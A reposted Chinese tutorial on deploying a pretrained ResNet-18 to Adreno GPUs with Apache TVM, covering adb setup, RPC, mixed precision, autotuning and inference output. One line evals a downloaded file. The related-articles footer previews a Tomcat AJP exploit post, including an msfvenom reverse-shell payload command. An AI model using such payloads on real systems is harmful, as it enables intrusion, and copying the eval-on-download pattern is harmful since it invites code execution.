【TVM 教程】在 Adreno™ 上部署预训练模型

news2024/9/23 17:02:11

本文是一个逐步教程,演示如何在 Adreno 上(不同精度)部署预训练的 PyTorch ResNet-18 模型。

首先,我们需要安装 PyTorch 与 TorchVision,因为我们将使用它作为我们的模型库。

可以通过 pip 快速安装:

pip install torch
pip install torchvision

除此之外,您应该已经为 Android 构建了 TVM。请参阅以下说明,了解如何构建它。

在 Adreno GPU 上部署

在构建部分之后,构建目录中应该有两个文件:“libtvm_runtime.so” 和 “tvm_rpc”。让我们将它们推送到设备上并运行 TVM RPC 服务器。

TVM RPC 服务器

要获取设备的哈希值,请使用:

adb devices

设置要使用的 Android 设备,如果您的计算机连接了多个设备。

export ANDROID_SERIAL=<device-hash>

然后,要将这两个文件上传到设备上,应该使用:

adb push {libtvm_runtime.so,tvm_rpc} /data/local/tmp

此时,您的设备上的路径 /data/local/tmp 将有 “libtvm_runtime.so” 和 “tvm_rpc” 。有时 cmake 找不到 “libc++_shared.so”。使用:

find ${ANDROID_NDK_HOME} -name libc++_shared.so

找到它,并使用 adb 将其推送到所需的设备:

adb push libc++_shared.so /data/local/tmp

我们现在准备运行 TVM RPC 服务器。在第一个控制台中使用以下行启动 rpc_tracker:

python3 -m tvm.exec.rpc_tracker --port 9190

然后,我们需要在第二个控制台中从所需的设备下运行 tvm_rpc 服务器:

adb reverse tcp:9190 tcp:9190
adb forward tcp:5000 tcp:5000
adb forward tcp:5002 tcp:5001
adb forward tcp:5003 tcp:5002
adb forward tcp:5004 tcp:5003
adb shell LD_LIBRARY_PATH=/data/local/tmp /data/local/tmp/tvm_rpc server --host=0.0.0.0 --port=5000 --tracker=127.0.0.1:9190 --key=android --port-end=5100

在编译和推断模型之前,请指定 TVM_TRACKER_HOST 和 TVM_TRACKER_PORT:

export TVM_TRACKER_HOST=0.0.0.0
export TVM_TRACKER_PORT=9190

检查 tracker 是否正在运行,并且设备是否可用:

python -m tvm.exec.query_rpc_tracker --port 9190

例如,如果有 1 个 Android 设备,输出可能是:

Queue Status
----------------------------------
key          total  free  pending
----------------------------------
android      1      1     0
----------------------------------

配置

import os
import torch
import torchvision
import tvm
from tvm import te
from tvm import relay, rpc
from tvm.contrib import utils, ndk
from tvm.contrib import graph_executor
from tvm.relay.op.contrib import clml
from tvm import autotvm

# 下面是一组配置,用于控制脚本的行为,如本地运行或设备运行、目标定义、dtype 设置和自动调优启用。
# 如有需要,请根据需要更改这些设置。

# 与 float32 相比,Adreno 设备对 float16 的效率更高
# 鉴于降低精度不会影响预期输出
# 建议使用较低的精度。
# 我们有一个辅助 API,使精度转换变得简单
# 它支持 "float16" 和 "float16_acc32" 模式的 dtype。
# 让我们选择 "float16" 进行计算和 "float32" 进行累积。

calculation_dtype = "float16"
acc_dtype = "float32"

# 在编译以生成纹理之前指定 Adreno 目标
# 利用内核并获得所有纹理的好处
# 注意:此生成的示例在我们的 x86 服务器上运行以进行演示。
# 如果在 Android 设备上运行它,我们需要
# 指定其指令集。如果要在实际设备上运行此教程,请将 :code:`local_demo` 设置为 False。
local_demo = True

# 默认情况下,在 CPU 目标上执行。
# 选择 'cpu'、'opencl' 和 'opencl -device=adreno'
test_target = "cpu"

# 更改目标配置。
# 运行 `adb shell cat /proc/cpuinfo` 以查找架构。
arch = "arm64"
target = tvm.target.Target("llvm -mtriple=%s-linux-android" % arch)

# 自动调整是计算密集型和耗时的任务,
# 因此默认情况下禁用。如果需要,请启用它。
is_tuning = False
tune_log = "adreno-resnet18.log"

# 启用 OpenCLML 加速运算符库。
enable_clml = False

获取 PyTorch 模型

从 torchvision models 获取 resnet18
model_name = "resnet18"
model = getattr(torchvision.models, model_name)(pretrained=True)
model = model.eval()

# 通过追踪抓取 TorchScripted 模型
input_shape = [1, 3, 224, 224]
input_data = torch.randn(input_shape)
scripted_model = torch.jit.trace(model, input_data).eval()



Out:
/venv/apache-tvm-py3.8/lib/python3.8/site-packages/torchvision/models/_utils.py:208: UserWarning: The parameter 'pretrained' is deprecated since 0.13 and may be removed in the future, please use 'weights' instead.
  warnings.warn(
/venv/apache-tvm-py3.8/lib/python3.8/site-packages/torchvision/models/_utils.py:223: UserWarning: Arguments other than a weight enum or `None` for 'weights' are deprecated since 0.13 and may be removed in the future. The current behavior is equivalent to passing `weights=ResNet18_Weights.IMAGENET1K_V1`. You can also use `weights=ResNet18_Weights.DEFAULT` to get the most up-to-date weights.
  warnings.warn(msg)

加载测试图片

我们使用一张经典的来自 ImageNet 的猫图片作为示例

from PIL import Image
from tvm.contrib.download import download_testdata
from matplotlib import pyplot as plt
import numpy as np

img_url = "https://github.com/dmlc/mxnet.js/blob/main/data/cat.png?raw=true"
img_path = download_testdata(img_url, "cat.png", module="data")
img = Image.open(img_path).resize((224, 224))
plt.imshow(img)
plt.show()

# 处理图片并转换为 tensor
from torchvision import transforms

my_preprocess = transforms.Compose(
 [
        transforms.Resize(256),
        transforms.CenterCrop(224),
        transforms.ToTensor(),
        transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
 ]
)
img = my_preprocess(img)
img = np.expand_dims(img, 0)

在这里插入图片描述

将 PyTorch 模型转换为 Relay 模块

TVM 具有用于各种框架 的在 relay.frontend 中的前端 API。现在对于 PyTorch 模型导入,我们有 relay.frontend.from_pytorch API。输入名称可以是任意的

input_name = "input0"
shape_list = [(input_name, img.shape)]

mod, params = relay.frontend.from_pytorch(scripted_model, shape_list)



Out:
/workspace/python/tvm/relay/frontend/pytorch_utils.py:47: DeprecationWarning: distutils Version classes are deprecated. Use packaging.version instead.
  return LooseVersion(torch_ver) > ver
/venv/apache-tvm-py3.8/lib/python3.8/site-packages/setuptools/_distutils/version.py:346: DeprecationWarning: distutils Version classes are deprecated. Use packaging.version instead.
  other = LooseVersion(other)

精度

# Adreno 设备在 float16 上的效率比 float32 高
# 鉴于降低精度不会影响预期输出
# 建议使用较低的精度。

# TVM 通过 ToMixedPrecision 转换过程支持混合精度。
# 我们可能需要注册精度规则,比如精度类型、累加
# 数据类型等,以覆盖默认设置。
# 下面的辅助 API 简化了模块间的精度转换。

# 在上面的配置部分,计算 dtype 设置为 "float16",累积 dtype 设置为 "float32"。

from tvm.driver.tvmc.transform import apply_graph_transforms

mod = apply_graph_transforms(
    mod,
 {
 "mixed_precision": True,
 "mixed_precision_ops": ["nn.conv2d", "nn.dense"],
 "mixed_precision_calculation_type": calculation_dtype,
 "mixed_precision_acc_type": acc_dtype,
 },
)

正如您在 IR 中所看到的那样,该架构现在包含强制转换操作,这些操作是为了将精度转换为 FP16。您还可以使用 “float16” 或 “float32” 作为其他 dtype 选项。

准备 TVM 目标

# 此生成的示例在我们的 x86 服务器上运行以进行演示。

# 要在真实目标上部署并调试,请在上面的配置部分将 :code:`local_demo` 设置为 False。
# 同样,:code:`test_target` 设置为 :code:`llvm`,以使其与 x86 演示兼容。
# 请将其更改为 :code:`opencl` 或 :code:`opencl -device=adreno`,以用于上面配置中的 RPC 目标。


if local_demo:
    target = tvm.target.Target("llvm")
elif test_target.find("opencl"):
    target = tvm.target.Target(test_target, host=target)

自动调整

下面的几个指令可以使用 XGBoost 作为调优算法对 Relay 模块进行自动调优。

# 自动调优过程包括提取任务、定义调优配置和
# 为每个任务调整最佳性能的内核配置。

# 获取与 RPC 相关的设置。
rpc_tracker_host = os.environ.get("TVM_TRACKER_HOST", "127.0.0.1")
rpc_tracker_port = int(os.environ.get("TVM_TRACKER_PORT", 9190))
key = "android"

# 自动调优是计算密集型和耗时的任务。
# 在上面的配置中,由于此脚本在 x86 上运行进行演示,设置为 False。
# 请将 :code:`is_tuning` 设置为 True 以启用自动调优。

if is_tuning:
 # 自动调优阶段 1:提取可调优任务
    tasks = autotvm.task.extract_from_program(
        mod, target=test_target, target_host=target, params=params
 )

 # 自动调优阶段 2:定义调优配置
    tmp_log_file = tune_log + ".tmp"
    measure_option = autotvm.measure_option(
        builder=autotvm.LocalBuilder(
            build_func=ndk.create_shared, timeout=15
 ), # 在本地构建测试内核
        runner=autotvm.RPCRunner( # 运行程序将在远程设备上运行。
            key, # RPC 密钥
            host=rpc_tracker_host, # 追踪主机
            port=int(rpc_tracker_port), # 追踪端口
            number=3, # 平均运行次数
            timeout=600, # RPC 超时
 ),
 )
    n_trial = 1024 # 在选择最佳内核配置之前进行训练的迭代次数
    early_stopping = False # 可以启用以在损失不断最小化时停止调优。

 # 自动调优阶段 3:遍历任务并进行调优。
 from tvm.autotvm.tuner import XGBTuner

 for i, tsk in enumerate(reversed(tasks[:3])):
 print("Task:", tsk)
        prefix = "[Task %2d/%2d] " % (i + 1, len(tasks))

 # 选择调谐器
        tuner = "xgb"

 # 创建调谐器
 if tuner == "xgb":
            tuner_obj = XGBTuner(tsk, loss_type="reg")
 # 其他调谐器类型的判断可以在此处添加

        tsk_trial = min(n_trial, len(tsk.config_space))
        tuner_obj.tune(
            n_trial=tsk_trial,
            early_stopping=early_stopping,
            measure_option=measure_option,
            callbacks=[
                autotvm.callback.progress_bar(tsk_trial, prefix=prefix),
                autotvm.callback.log_to_file(tmp_log_file),
 ],
 )
 # 自动调优阶段 4:从整体日志中选择性能最佳的配置。
    autotvm.record.pick_best(tmp_log_file, tune_log)

启用 OpenCLML 卸载

OpenCLML 卸载将尝试通过使用 OpenCLML 专有运算符库来加速支持的运算符。

# 默认情况下,在上面的配置部分,:code:enable_clml 被设置为 False。

if not local_demo and enable_clml:
    mod = clml.partition_for_clml(mod, params)

编译

如果存在调优缓存,则使用调优缓存。

if os.path.exists(tune_log):
 with autotvm.apply_history_best(tune_log):
 with tvm.transform.PassContext(opt_level=3):
            lib = relay.build(mod, target=target, params=params)
else:
 with tvm.transform.PassContext(opt_level=3):
        lib = relay.build(mod, target=target, params=params)

远程通过 RPC 部署模型

使用 RPC,您可以将模型从主机机器部署到远程 Adreno 设备。

if local_demo:
    remote = rpc.LocalSession()
else:
    tracker = rpc.connect_tracker(rpc_tracker_host, rpc_tracker_port)
 # 运行大模型时,应该增加 `session_timeout`
    remote = tracker.request(key, priority=0, session_timeout=60)

if local_demo:
    dev = remote.cpu(0)
elif test_target.find("opencl"):
    dev = remote.cl(0)
else:
    dev = remote.cpu(0)

temp = utils.tempdir()
dso_binary = "dev_lib_cl.so"
dso_binary_path = temp.relpath(dso_binary)
fcompile = ndk.create_shared if not local_demo else None
lib.export_library(dso_binary_path, fcompile=fcompile)
remote_path = "/data/local/tmp/" + dso_binary
remote.upload(dso_binary_path)
rlib = remote.load_module(dso_binary)
m = graph_executor.GraphModule(rlib["default"](dev))

运行推理

我们现在可以设置输入,推理我们的模型并得到输出预测。

m.set_input(input_name, tvm.nd.array(img.astype("float32")))
m.run()
tvm_output = m.get_output(0)

获取预测与性能统计

这块代码展示了 top-1 和 top-5 预测,同时提供模型的性能信息。

from os.path import join, isfile
from matplotlib import pyplot as plt
from tvm.contrib import download


# 下载 ImageNet 分类
categ_url = "https://github.com/uwsampl/web-data/raw/main/vta/models/"
categ_fn = "synset.txt"
download.download(join(categ_url, categ_fn), categ_fn)
synset = eval(open(categ_fn).read())

top_categories = np.argsort(tvm_output.asnumpy()[0])
top5 = np.flip(top_categories, axis=0)[:5]

# 记录 top-1 分类结果
print("Top-1 id: {}, class name: {}".format(top5[1 - 1], synset[top5[1 - 1]]))

# 记录 top-5 分类结果
print("\nTop5 predictions: \n")
print("\t#1:", synset[top5[1 - 1]])
print("\t#2:", synset[top5[2 - 1]])
print("\t#3:", synset[top5[3 - 1]])
print("\t#4:", synset[top5[4 - 1]])
print("\t#5:", synset[top5[5 - 1]])
print("\t", top5)
ImageNetClassifier = False
for k in top_categories[-5:]:
 if "cat" in synset[k]:
        ImageNetClassifier = True
assert ImageNetClassifier, "Failed ImageNet classifier validation check"

print("Evaluate inference time cost...")
print(m.benchmark(dev, number=1, repeat=10))


Out:
/workspace/python/tvm/runtime/ndarray.py:199: DeprecationWarning: NDArray.asnumpy() will be deprecated in TVM v0.8 release. Please use NDArray.numpy() instead.
  warnings.warn(
Top-1 id: 281, class name: tabby, tabby cat

Top5 predictions:

        #1: tabby, tabby cat
        #2: tiger cat
        #3: lynx, catamount
        #4: red fox, Vulpes vulpes
        #5: Egyptian cat
         [281 282 287 277 285]
Evaluate inference time cost...
Execution time summary:
 mean (ms)   median (ms)    max (ms)     min (ms)     std (ms)
 3991.4967    3991.2103    3996.6988    3988.8485      2.0989

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2046407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】Linux环境基础开发工具使用之Linux编译器-gcc/g++使用

目录 一、编译过程二、gcc/g如何完成三、error: for loop initial declarations are only allowed in C99 mode 的解决方法四、预处理五、编译六、汇编七、链接八、数据库8.1 动态库8.2 静态库8.3 动/静态链接的优缺点 结尾 一、编译过程 预处理&#xff08;头文件的展开、宏替…

计算机网络12——IM聊天系统——项目分析和架构搭建

1、IM——聊天系统主要功能 &#xff08;1&#xff09;注册 根据&#xff1a;昵称&#xff0c;手机号&#xff0c;密码 &#xff08;2&#xff09;登录 根据&#xff1a;手机号&#xff0c;密码 &#xff08;3&#xff09;添加好友 根据&#xff1a;昵称 &#xff08;4&…

【IR】Counterfactual Explainer on Graphs

图神经网络的反事实解释&#xff1a;最新文章略读 Survey [ 5 ] ^{[5]} [5]CFAD [ 1 ] ^{[1]} [1]CAF [ 3 ] ^{[3]} [3]GCFExplainer [ 2 ] ^{[2]} [2]CFE [ 4 ] ^{[4]} [4]RCExplainer [ 6 ] ^{[6]} [6]CF-GNNExplainer [ 7 ] ^{[7]} [7]Ref Survey [ 5 ] ^{[5]} [5] NeurIP…

Ubuntu24.04使用SRS 搭建 RTMP流媒体服务器

一、简介 SRS(Simple Realtime Server)是一个简单高效的实时视频服务器&#xff0c; 是国人写的一款非常优秀的开源流媒体服务器软件&#xff0c;可用于直播/录播/视频客服等多种场景&#xff0c;其定位是运营级的互联网直播服务器集群。支持RTMP/WebRTC/HLS/HTTP-FLV/SRT/GB28…

基于html5的网上团购系统设计与实现

TOC springboot301基于html5的网上团购系统设计与实现 第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代&#xff0c;也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端&#xff0c;也就是电脑互联网时…

编码在左,学习在右,你心中的天平如何倾斜?

目录 前言 程序员如何平衡日常编码工作与提升式学习&#xff1f; 养成高效编码习惯 掌握时间管理技巧 提升式学习的策略 广泛涉猎的优势与考虑因素 深入钻研的优势与考虑因素 职业发展与个人成长的和谐共生 结束语 前言 程序员如何平衡日常编码工作与提升式学习&#…

vue项目配置基础路由vue-router

1、运行以下命令安装vue-router yarn add vue-router 2、在src目录下的components中新建两个vue页面 3、在src目录下新建router文件夹&#xff0c;在router文件夹下面新建index.js文件 4、配置main.js文件 //引入Vue import Vue from "vue"; //引入App import App…

demo测试

目录 接口commonCodeGenerator entityuser mapperUserMapper controllerUserController serviceUserServiceimplUserServiceImpl mapper.xmlpom.xmlapplication.yml 接口 common CodeGenerator package com.llz.demo.common;import com.baomidou.mybatisplus.core.exceptions…

P2680 [NOIP2015 提高组] 运输计划(树上二分答案)

[NOIP2015 提高组] 运输计划 - 洛谷 核心思路 树上二分答案。答案这个字眼很重要&#xff0c;因为&#xff0c;二分出来的就是答案。 拟合经验。 AC 代码 #include<iostream> #include<vector> #include<cstring> #include<algorithm> #include&l…

如何选择合适的虚拟机软件?对比Parallels Desktop 和VMware Fusion 使用虚拟机畅玩黑神话悟空

随着技术的发展&#xff0c;虚拟机软件将更加高效地管理和分配系统资源。虚拟机软件扮演着越来越重要的角色。无论是软件开发者需要测试不同操作系统环境下的应用&#xff0c;还是普通用户希望在一台机器上同时运行多个操作系统&#xff0c;虚拟机软件都是不可或缺的工具。那么…

RocketMQ的事务消息是如何实现的

什么是分布式事务&#xff1f; 分布式事务解决的是多数据源数据一致性问题。 事务消息是 Apache RocketMQ 提供的一种高级消息类型&#xff0c;支持在分布式场景下保障消息生产和本地事务的最终一致性。 为什么要使用 MQ 来做分布式事务&#xff1f; 举个例子&#xff0c;假…

JVM对象在堆、栈、TLAP上的分配

文章目录 前言堆中对象的分配策略大对象直接进入老年代 本地内存分配缓冲区(Thread-local allocation buffer)对象分配在栈上逃逸分析概述演示发生逃逸的对象演示发生逃逸的对象StringBuffer不发生逃逸 逃逸分析之栈上分配逃逸分析之同步省略逃逸分析之标量替换 总结 前言 一般…

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…

C++ | Leetcode C++题解之第338题比特位计数

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> countBits(int n) {vector<int> bits(n 1);for (int i 1; i < n; i) {bits[i] bits[i & (i - 1)] 1;}return bits;} };

Windows安装MySQL时出现Install/Remove of the Service Denied!解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

计算机毕业设计选题推荐-医院问诊系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

Java语言程序设计基础篇_编程练习题**16.17(使用ScrollBar和Slider)

目录 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 习题思路 示例代码 结果展示 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 编写一个程序&#xff0c;使用滚动条或者滑动条选择文本的颜色&#xff0c;如图16-43所示。使用四个水平滚动条选择颜色&a…

【STM32F4】——DMA初始化结构体详解

一.DMA_InitTypeDef 初始化结构体 typedef struct {uint32_t DMA_Channel; //通道选择 uint32_t DMA_PeripheralBaseAddr;//外设地址uint32_t DMA_Memory0BaseAddr; //存储器 0 地址uint32_t DMA_DIR; //传输方向 uint32_t DMA_BufferSize; /…

售后服务认证的价值:权威认证带来的全方位优势

在当今竞争激烈的市场环境中&#xff0c;企业要想脱颖而出&#xff0c;不仅仅需要过硬的产品质量&#xff0c;更需要卓越的售后服务。售后服务认证作为一种权威认证&#xff0c;正日益成为企业在全国范围内展示服务领先性的关键工具。本文将详细阐述售后服务认证所带来的多重价…

virtualbox 安装 win7 系统注意事项

win7可用ISO镜像 virtualbox安装Windows 7 64位旗舰版 &#xff08;包含镜像文件&#xff09;_virtual pc安装64位windows7-CSDN博客 视图设为了自动缩放&#xff0c;没有菜单了怎么办&#xff1f; 通过按右侧CtrlC/F/L进行切换 复制黏贴不公用怎么办&#xff1f; 宿主机有…